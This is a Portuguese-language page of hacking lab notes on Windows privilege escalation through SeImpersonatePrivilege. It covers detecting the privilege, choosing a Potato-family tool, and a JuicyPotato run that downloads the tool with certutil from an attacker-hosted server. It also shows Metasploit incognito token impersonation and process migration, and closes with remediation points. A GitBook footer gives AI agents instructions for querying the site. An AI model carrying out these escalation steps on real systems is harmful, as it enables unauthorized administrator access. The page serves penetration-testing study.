> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md).

# SeImpersonatePrivilege

`SeImpersonatePrivilege` permite que um processo se faça passar pelo token de outro usuário. Em alvos Windows compatíveis, esse privilégio pode ser abusado para obter uma sessão com privilégios elevados.

## Detecção

```powershell
whoami /priv
```

<figure><img src="/files/0813fff38437c7f3d0c10aab3c395b2149bfd4d1" alt="SeImpersonatePrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Escolha a Técnica Certa

Diferentes versões do Windows exigem abordagens diferentes. Trate isso como uma verificação de compatibilidade, não como um exploit de um único comando.

| Família da ferramenta                         | Geralmente relevante para                                                                 | Notas                                                        |
| --------------------------------------------- | ----------------------------------------------------------------------------------------- | ------------------------------------------------------------ |
| JuicyPotato                                   | Versões mais antigas do Windows Server, anteriores ao endurecimento mais recente do DCOM. | Precisa de um CLSID compatível e comportamento local de COM. |
| Caminhos no estilo RoguePotato / RemotePotato | Ambientes em que relay de NTLM ou truques de resolvedor estão em escopo.                  | Valide primeiro as suposições de rede.                       |
| PrintSpoofer                                  | Alvos mais antigos em que o caminho do Print Spooler está exposto e é compatível.         | O nível de patch faz muita diferença.                        |
| Variantes do GodPotato / SweetPotato          | Alvos de laboratório com comportamento compatível de named pipe/RPC.                      | Teste contra a build exata do sistema operacional.           |

## Validação Manual com JuicyPotato

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

Disponibilize os binários no host de ataque:

```bash
python3 -m http.server 8080
```

Baixe a ferramenta autorizada no alvo:

```cmd
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe JP.exe
```

<figure><img src="/files/962675cd42c39fb5793770d0f5f563d70a687bab" alt="JuicyPotato and netcat transferred to the target"><figcaption></figcaption></figure>

Execute primeiro um comando de validação inofensivo:

```cmd
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\impersonate-check.txt"
type C:\Windows\Temp\impersonate-check.txt
```

Se a validação for bem-sucedida, substitua a ação pela carga útil dentro do escopo do laboratório ou da avaliação.

## Verificações Comuns

```cmd
whoami /priv
systeminfo
net start spooler
```

<figure><img src="/files/44cd69d23c83cc32c0f5bcc99b269f6dbcfb3d14" alt="Privileged shell obtained through JuicyPotato" width="563"><figcaption></figcaption></figure>

## Variiante Incognito do Metasploit

```
load incognito
list_tokens -u
```

<figure><img src="/files/82902046c02d70c2e36c0e5142d84c37fcbe5b89" alt="Listing tokens with Incognito"><figcaption></figcaption></figure>

```
impersonate_token "ATTACKDEFENSE/Administrator"
```

<figure><img src="/files/7c7920481f8e83f6bf4b08b1764469c05098f88c" alt="Impersonating an administrator token"><figcaption></figcaption></figure>

Faça a migração para um processo adequado:

```
pgrep explorer
migrate 3512
getprivs
```

<figure><img src="/files/893b3d771d0386567e8f942f029834380915029e" alt="Migrating into explorer process"><figcaption></figcaption></figure>

<figure><img src="/files/7892d4dfceccadfeaa8dc4cb928be743506c48b3" alt="Privileges after token impersonation" width="563"><figcaption></figcaption></figure>

## Pontos-chave

* Confirme que o privilégio está presente e habilitado.
* O caminho de exploração depende muito da versão do Windows e das restrições locais.
* Se o host for moderno e estiver corrigido, passe para caminhos de serviço, tarefa agendada ou credenciais antes de perder tempo.
* Corrija limitando os serviços que expõem caminhos de impersonação e mantendo os hosts atualizados com patches.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
